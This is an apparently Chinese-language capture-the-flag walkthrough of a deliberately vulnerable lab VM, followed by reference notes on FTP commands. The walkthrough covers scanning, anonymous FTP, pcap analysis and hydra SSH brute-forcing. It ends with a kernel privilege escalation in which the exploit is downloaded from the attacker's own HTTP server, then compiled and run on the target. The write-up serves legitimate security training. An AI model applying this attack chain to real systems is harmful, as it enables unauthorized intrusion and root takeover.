目标获取flag,开始ing

基本步骤
1.确定主机ip,端口和服务信息
2.针对web页面进行信息搜集,利用ftp和ssh登录
3.登录后查找系统漏洞并进行提权
一、信息收集
确定主机IP 192.168.5.134
arp-scan -l
端口和服务扫描
nmap -p- -A 192.168.5.134

curl 192.168.5.134
访问web,没什么信息


目录扫描
dirsearch -u http://192.168.5.134
扫描的同时访问一下 robots.txt

访问 secret

没什么有用信息,目录结果也一样
复制两张图片的连接,下载到kali,查看源码的区别
wget http://192.168.5.134/secret/troll.jpg
wget http://192.168.5.134/hacker.jpg
strings troll.jpg
strings hacker.jpg


没什么明显有用的东西。
回到端口和服务扫描的结果上
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
注意到

Anonymous FTP login allowed (允许匿名登录)
ftp 192.168.5.134
ls
get lol.pcap

二、漏洞查找(流量分析)
wireshark lol.pcap
可以看到,存在三种协议 FTP TCP FTP-DATA
从头向下根据info的内容对关键信息进行分析
1.

可以看到这是一个匿名登录,现在进行细节展开
TCP三次握手的包暂时可以忽略

SYST:FTP命令,用于询问远程FTP服务器的系统类型
PORT 10,0,0,12,173,198 :客户端发送给服务器的命令,用于告诉服务器客户端准备在哪个IP地址和端口上接收数据。这个命令是FTP主动模式(active mode)的一部分,其中客户端打开一个端口以供服务器连接,用于数据传输。
PORT h1,h2,h3,h4,p1,p2
h1, h2, h3, h4是客户端的IP地址的四个八位字节。p1, p2是客户端用于数据连接的端口号的两个八位字节。在你提供的命令
request: PORT 10,0,0,12,173,198中:
10,0,0,12表示客户端的IP地址是10.0.0.12。173,198表示客户端用于数据连接的端口号是173*256 + 198 = 44522。所以,这个命令的意思是客户端告诉服务器,它将在IP地址
10.0.0.12的44522端口上打开一个端口,等待服务器的连接,以便进行数据传输。
2.
显而易见,这里执行了LIST列出当前目录和文件并返回了结果,我们直接查看 74 bytes 的内容

==》 secret_stuff.txt
3.

TYPE I: 指定文件以二进制形式传输。
RETR secret_stuff.txt 下载文件
我们这里直接获得 147 bytes 的文件数据

好呀好呀,聪明的小恶魔,你几乎找到了 sup3rs3cr3tdirlol
所以这是啥?
结合http等服务,猜测web目录,sh账号密码,ftp账号密码等等
直接web访问

注意到这个 roflmao (点了一下windows直接下载了)
kali下载
wget 192.168.5.134/sup3rs3cr3tdirlol/roflmao
查看文件类型(可执行文件)、权限并加权,执行
file roflmao
ls -l roflmao
chmod +x roflmao
./roflmao


==>
Find address 0x0856BF to proceed
proceed 意味继续
这里提示是 找到地址为 0x0856BF 的东西并继续
回到web,尝试访问 0x0856BF 文件夹

能访问,但以这个作为文件名也太奇怪了。(我二进制不好hh)
翻一下文件
which_one_lol.txt

pass.txt

一眼账户名,密码
靶机上存在ssh,ftp服务,这里考虑用hydra爆破登录ssh服务
先下载好两个文件
wget http://192.168.5.134/0x0856BF/good_luck/which_one_lol.txt
wget http://192.168.5.134/0x0856BF/this_folder_contains_the_password/Pass.txt
hydra -L which_one_lol.txt -P Pass.txt 192.168.5.134 ssh

没爆出了
但题目提示这个文件夹包含密码,不是内含的god job,就只有文件名了
即 Pass.txt ,修改一下 Pass.txt 里的内容为 Pass.txt再次爆破
这里确实狗了


ssh登录
ssh overflow@192.168.5.134
4.
查看系统内核和版本信息
uname -a
lsb_release -a

靶机正在运行Ubuntu 14.04和3.13 Linux 内核(老)
并且操作时长过大会强制退出
直接查找 exp
searchsploit linux 3.13.0 | grep Ubuntu

下载
searsearchsploit -m linux/local/37292.c
查看文件

结合 ssh 登录,让靶机下载编译并运行此文件。
三、漏洞利用提权
在含有exp的文件夹下开启 http 服务
python -m http.server 80
靶机下载,编译,运行 exp
cd /tmp
wget 192.168.5.129/37292.c
gcc 37292.c -o hack
chmod 777 hack
./hack


==>
flag 702a8c18d29c6f3ca0d99ef5712bfbdc
这里手速最好快一点,否则会退出
总结
ftp匿名登录利用
wireshark流量分析
ssh登录并内核提权

补充说明
ftp命令
在Linux系统中,`ftp`是一个用于文件传输的命令行工具,它允许用户连接到FTP服务器并进行文件的上传、下载和管理。以下是`ftp`命令的一些基本使用方法:
连接到FTP服务器
1. 启动FTP客户端:
ftp [FTP服务器地址]
例如,连接到`ftp.example.com`:
ftp ftp.example.com2. 登录:
- 输入用户名和密码登录。如果是匿名FTP,可以使用`anonymous`作为用户名,密码可以是任意字符串或你的邮箱地址。
Name (ftp.example.com:username): anonymous
Password:基本命令
- 列出目录内容:
ls
或
dir- 改变当前目录:
cd [目录名]- 改变远程目录:
cd remote:[目录名]- 查看当前路径:
pwd- 下载文件:
get [远程文件名] [本地文件名]
例如,下载`example.txt`到本地当前目录:
get example.txt- 上传文件:
put [本地文件名] [远程文件名]
例如,上传`example.txt`到远程服务器:
put example.txt- 上传多个文件:
mput [文件名模式]
例如,上传所有`.txt`文件:
mput .txt- 删除远程文件:
delete [文件名]- 重命名远程文件:
rename [旧文件名] [新文件名]- 查看帮助:
help
或
?高级特性
- 切换到被动模式(在某些网络环境中需要):
passive- 设置传输类型(二进制模式用于非文本文件):
binary退出FTP会话
- 退出FTP客户端:
quit
或
by示例:使用FTP上传文件
1. 启动FTP客户端并连接到服务器:
ftp ftp.example.com2. 登录:
Name (ftp.example.com:username): anonymous
Password:3. 更改远程目录:
cd /path/to/remote/directory4. 上传文件:
put /path/to/local/file.txt5. 退出FTP会话:
quit
FTP 流量命令
TYPE
在FTP(File Transfer Protocol)中,`TYPE` 是一个用来指定数据传输类型(type of data transfer)的命令。`TYPE` 命令告诉服务器客户端期望的数据格式,以便正确地处理数据传输。
`TYPE` 命令的语法如下:
```
TYPE [type-code]
```其中 `[type-code]` 是一个指定数据类型的代码。以下是一些常用的 `TYPE` 代码:
- `A`:ASCII类型(文本文件),这是默认的传输类型。在这种模式下,CRLF(回车换行)在传输过程中被转换为LF(换行)。
- `I`:二进制类型(Image mode),用于非文本文件(如图片、视频、可执行文件等)。在这种模式下,数据被原样传输,不进行任何转换。
- `E`:EBCDIC类型(主要用于IBM大型机)。
- `L 8`:本地8位数据类型(Local 8-bit),用于传输8位数据,不进行任何转换。在你提供的命令 `TYPE I` 中,`I` 表示客户端请求以二进制模式进行数据传输。这种模式适用于传输任何非文本文件,因为它确保文件在传输过程中不会被修改或损坏。使用二进制模式可以确保文件的完整性,特别是在文件包含特殊字符或二进制数据时。
RETR
在FTP(File Transfer Protocol)中,`RETR` 是一个命令,用于从FTP服务器上请求一个文件,并将该文件传输到客户端。`RETR` 命令的全称是 "RETRieve",即检索的意思。
使用 `RETR` 命令的基本格式如下:
```
RETR <filename>
```其中 `<filename>` 是你想要从服务器上检索的文件的名称。执行这个命令后,FTP服务器会开始将指定的文件发送到客户端。
例如,如果你想要从FTP服务器上下载名为 `example.txt` 的文件,你会发送以下命令:
```
RETR example.txt
```服务器接收到这个命令后,会打开一个数据连接,并将 `example.txt` 文件的内容发送到客户端。客户端随后可以保存这些数据到本地磁盘上的同名文件中。
`RETR` 命令通常在客户端已经通过 `USER` 和 `PASS` 命令成功登录到FTP服务器,并且已经使用 `CWD`(Change Working Directory)命令导航到包含目标文件的目录后使用。
hydra基本使用




642

被折叠的 条评论
为什么被折叠?



